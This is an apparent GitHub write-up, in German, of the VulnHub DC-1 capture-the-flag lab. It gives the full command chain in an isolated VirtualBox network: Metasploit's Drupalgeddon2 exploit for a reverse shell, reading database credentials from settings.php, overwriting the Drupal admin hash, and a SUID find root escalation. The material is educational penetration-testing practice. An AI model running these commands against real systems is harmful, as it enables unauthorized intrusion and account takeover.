prapul1/vulnhub-dc1-writeupVulnHub DC-1 Boot-to-Root — Ausnutzung von CVE-2018-7600 (Drupalgeddon2) für RCE, Extrahieren von DB-Anmeldedaten aus settings.php, Fälschen des Admin-Passwort-Hashes und Ausweiten auf Root über SUID find.
"Penetration testing lab writeups documenting full attack chains — from recon to root."
Schwierigkeit: Anfänger–Mittel
Plattform: VulnHub
Ziel: Alle 4 Flags erbeuten und vollständige Root-Kompromittierung erreichen
Angreifer-OS: Kali Linux (VirtualBox — NAT-Netzwerk)
Ziel-OS: Debian Linux (Drupal 7 CMS)
| Komponente | Details |
|---|---|
| Hypervisor | VirtualBox |
| Netzwerkmodus | NAT-Netzwerk (beide VMs im selben Subnetz) |
| Angreifer-Maschine | Kali Linux |
| Ziel-Maschine | DC-1 (VulnHub) |
| Ziel-IP | 10.0.2.3 (per arp-scan entdeckt) |
Beide virtuellen Maschinen wurden unter demselben NAT-Netzwerk in VirtualBox konfiguriert, um die Kommunikation zwischen den VMs zu ermöglichen und gleichzeitig eine isolierte Laborumgebung zu gewährleisten.
Verwendet arp-scan, um alle aktiven Hosts im lokalen Subnetz zu identifizieren:
sudo arp-scan -l
Ergebnis: Ziel unter 10.0.2.3 identifiziert
Einen vollständigen Nmap-Scan mit Versionserkennung und Standard-Skripten ausgeführt:
sudo nmap -sV -sC 10.0.2.3
Wichtigste Erkenntnisse:
| Port | Dienst | Version |
|---|---|---|
| 22/tcp | SSH | OpenSSH 6.0p1 |
| 80/tcp | HTTP | Apache 2.2.22 |
| 111/tcp | rpcbind | — |
🔑 Kritisch: Nmap hat die Webanwendung über HTTP-Generator-Header eindeutig als Drupal 7 identifiziert — was eine bekannte verwundbare CMS-Version bestätigt.
Drupal 7 ist von einer kritischen Remote-Code-Execution-Schwachstelle (RCE) in seiner Form-API betroffen. Ein nicht authentifizierter Angreifer kann eine manipulierte HTTP-Anfrage senden, die das Backend als Systembefehl ausführt — ohne dass eine Authentifizierung erforderlich ist.
Metasploit-Framework gestartet:
msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit
Ergebnis: Meterpreter-Reverse-Shell erfolgreich als www-data (der Prozessbenutzer des Webservers) geöffnet.
Von Meterpreter in eine native Linux-Shell gewechselt und diese mit Python-PTY stabilisiert:
shell
python -c 'import pty; pty.spawn("/bin/bash")'
Ergebnis: Voll interaktive Bash-Shell als www-data@DC-1 innerhalb von /var/www
ls -la /var/www
cat flag1.txt
Inhalt von Flag 1:
Jedes gute CMS braucht eine Konfigurationsdatei - und du auch.
💡 Hinweis: Verweist direkt auf die Drupal-Konfigurationsdatei —
settings.php
In das Drupal-Konfigurationsverzeichnis gewechselt und die Settings-Datei untersucht:
cd /var/www/sites/default
cat settings.php
Zugangsdaten entdeckt, die im $databases-Array eingebettet sind:
| Feld | Wert |
|---|---|
| Datenbank | drupaldb |
| Benutzername | dbuser |
| Passwort | R0ck3t |
Inhalt von Flag 2 (aus Dateikommentaren):
Brute-Force- und Wörterbuchangriffe sind nicht die einzigen Wege, um Zugriff
zu erlangen (und du WIRST Zugriff brauchen). Was kannst du mit diesen Zugangsdaten anfangen?
💡 Hinweis: Verwende die Zugangsdaten, um auf das MySQL-Backend zuzugreifen — ohne irgendetwas zu brute-forcen.
mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;
Gehashte Passwörter für admin und fred gefunden — beide verwenden Drupals $S$-Hashverfahren (basiert auf SHA-512).
Anstatt den vorhandenen Hash zu knacken, wurde Drupals eigenes eingebautes PHP-Skript verwendet, um einen neuen zu generieren:
cd /var/www
php scripts/password-hash.sh password123
Ausgabe: Ein gültiger $S$D...-Hash für password123
use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';
Erfolgreich unter http://10.0.2.3 als admin / password123 angemeldet.
Inhalt von Flag 3 (im Drupal-Admin-Inhaltsbereich gefunden):
Spezielle PERMS helfen dir, die passwd zu FINDEN - aber du musst diesen
Befehl mit -exec ausführen, um herauszufinden, wie du an das kommst, was in der shadow steht.
💡 Hinweis: Fehlkonfiguration des SUID-Binaries
find— Vektor für Privilegieneskalation identifiziert.
cat /etc/passwd
Benutzer flag4 mit Home-Verzeichnis unter /home/flag4 gefunden.
cat /home/flag4/flag4.txt
Inhalt von Flag 4:
Kannst du dieselbe Methode nutzen, um die Flag in Root zu finden oder darauf
zuzugreifen? Wahrscheinlich. Aber vielleicht ist es nicht so einfach. Oder vielleicht doch?
findDas find-Binary hatte das SUID-Bit gesetzt, was bedeutet, dass es mit den Rechten des Dateibesitzers (root) ausgeführt wird, unabhängig davon, wer es ausführt.
find . -exec /bin/sh \;
whoami
# root
cd /root
cat thefinalflag.txt
Gut gemacht!!! Ich hoffe, DC-1 hat dir Spaß gemacht!
Vollständige Root-Kompromittierung erreicht. ✅
| Tool | Zweck |
|---|---|
arp-scan | Host-Erkennung im lokalen Subnetz |
nmap | Port-Scan & Dienst-Fingerprinting |
Metasploit Framework | CVE-2018-7600-Exploit-Auslieferung & Reverse-Shell |
MySQL CLI | Datenbank-Enumeration & Manipulation von Zugangsdaten |
PHP (password-hash.sh) | Native Drupal-Hash-Generierung |
Python PTY | Shell-Stabilisierung |
VirtualBox | Einrichtung einer isolierten Laborumgebung |
Aus offensiver Perspektive:
settings.php enthalten häufig Klartext-Zugangsdaten, die einem Angreifer den Wechsel von Webzugriff zu vollständiger Datenbankkontrolle ermöglichen.find, vim oder python sind einer der zuverlässigsten Vektoren für Privilegieneskalation in Linux-Umgebungen.